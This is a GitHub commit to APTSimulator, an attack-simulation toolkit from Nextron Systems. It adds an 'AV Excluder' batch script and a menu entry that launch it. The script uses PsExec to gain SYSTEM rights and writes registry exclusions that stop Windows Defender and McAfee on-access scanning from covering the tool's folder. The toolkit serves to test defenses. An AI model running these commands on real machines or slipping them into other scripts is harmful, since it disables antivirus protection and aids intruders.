Skip to content

Commit 3438fe2

Browse files
author
Florian Roth
committed
AV Excluder v0.1
1 parent b246c3f commit 3438fe2

3 files changed

Lines changed: 44 additions & 1 deletion

File tree

APTSimulator.bat

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,11 @@ SET /P M=Set the maximum seconds to wait:
7777
SET SECONDMAX=%M%
7878
GOTO SETTINGS
7979

80+
:AVEXCLUDER
81+
"%ZIP%" e -p%PASS% %TOOLARCH% -aoa -o"%TEMP%" toolset\avexcluder.bat > NUL
82+
call "%TEMP%\avexcluder.bat"
83+
GOTO MENU
84+
8085
:MENU
8186
CLS
8287
color 07
@@ -96,6 +101,7 @@ ECHO [7] Lateral Movement
96101
ECHO [8] Persistence
97102
ECHO [9] Privilege Escalation
98103
ECHO.
104+
ECHO [A] Apply AV Exclusions in Registry
99105
ECHO [S] Settings
100106
ECHO [E] Exit
101107
ECHO.
@@ -113,6 +119,8 @@ IF %M%==8 SET list="persistence"
113119
IF %M%==9 SET list="privilege-escalation"
114120
IF %M%==s GOTO SETTINGS
115121
IF %M%==S GOTO SETTINGS
122+
IF %M%==a GOTO AVEXCLUDER
123+
IF %M%==A GOTO AVEXCLUDER
116124
IF %M%==e GOTO END
117125
IF %M%==E GOTO END
118126

toolset/avexcluder.bat

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
@ECHO OFF
2+
@setlocal EnableDelayedExpansion
3+
4+
ECHO ===========================================================================
5+
ECHO AV Excluder
6+
ECHO.
7+
ECHO We add exclusions for Antivirus products in the local registry
8+
ECHO I know this is evil but hey, we are attackers with admin rights and not malware, right?
9+
ping -n 3 127.0.0.1 > NUL
10+
11+
ECHO Extracting PsExec, which is used to swith into LOCAL_SYSTEM context
12+
"%ZIP%" e -p%PASS% %TOOLARCH% -aoa -o"%APTDIR%" toolset\p.exe > NUL
13+
ping -n 2 127.0.0.1 > NUL
14+
15+
ECHO ===========================================================================
16+
ECHO Excluding %APTDIR% for Windows Defender
17+
"%APTDIR%\p.exe" -accepteula -d -s cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v %APTDIR% /t REG_DWORD /d 0 /f
18+
19+
ping -n 3 127.0.0.1 > NUL
20+
21+
ECHO ===========================================================================
22+
ECHO Excluding %APTDIR% for McAfee OnAccess Scanner
23+
FOR /f "tokens=3 delims= " %%a in ('reg query "HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v NumExcludeItems') DO set num=%%a
24+
SET /a NEWNUM=%num%
25+
SET /a NEWNUM+=1
26+
SET NewExcludeItem=ExcludedItem_%NEWNUM%
27+
28+
ECHO Adding new exclude item ...
29+
"%APTDIR%\p.exe" -accepteula -d -s cmd.exe /c REG ADD "HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v %NewExcludeItem% /t REG_SZ /d "3|15|%APTDIR%\*" /f
30+
ECHO Updating number of exclude items ...
31+
"%APTDIR%\p.exe" -accepteula -d -s cmd.exe /c REG ADD "HKLM\SOFTWARE\Wow6432Node\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\Default" /v NumExcludeItems /t REG_DWORD /d %NEWNUM% /f
32+
33+
ping -n 3 127.0.0.1 > NUL
34+
35+
PAUSE

welcome.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,4 @@
44
/ ___ |/ ____/ / / ___/ / / / / / / / /_/ / / /_/ / /_/ /_/ / /
55
/_/ |_/_/ /_/ /____/_/_/ /_/ /_/\__,_/_/\__,_/\__/\____/_/
66

7-
Florian Roth, Nextron Systems, v0.6.0
7+
Florian Roth, Nextron Systems, v0.7.0

0 commit comments

Comments
 (0)